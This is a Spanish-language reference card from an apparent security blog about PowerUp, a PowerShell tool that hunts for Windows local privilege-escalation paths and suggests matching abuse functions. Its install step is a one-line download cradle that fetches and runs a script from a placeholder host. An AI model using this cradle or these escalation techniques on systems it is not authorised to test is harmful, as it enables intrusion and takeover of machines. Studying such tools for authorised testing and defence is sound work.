the_open_door
café
ESEN
← Herramientas

PowerUp

Busca escaladas locales en Windows: servicios, permisos y rutas.

Script de PowerShell centrado en los vectores de escalada local más habituales de Windows. Su comando estrella, `Invoke-AllChecks`, revisa de una pasada los servicios con binario o ruta modificables, los `unquoted service path`, las claves de registro de servicios escribibles, `AlwaysInstallElevated`, las credenciales guardadas y las tareas programadas manipulables, y para cada hallazgo sugiere la función de abuso correspondiente (`Invoke-ServiceAbuse`, `Write-ServiceBinary`). Es el winPEAS enfocado solo a *privesc* por configuración, más quirúrgico y menos ruidoso.

Familia Escalada de privilegios

Flags Invoke-AllChecks Get-ModifiableService

Conceptos Insecure service permissions (Windows), RCE via a group-writable directory in a root service, AlwaysInstallElevated abuse, Scheduled task hijacking (Windows), PATH hijacking

Cheatsheet Servicios y tareas

Instalación

IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerUp.ps1')

Comandos útiles2 comandos

Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.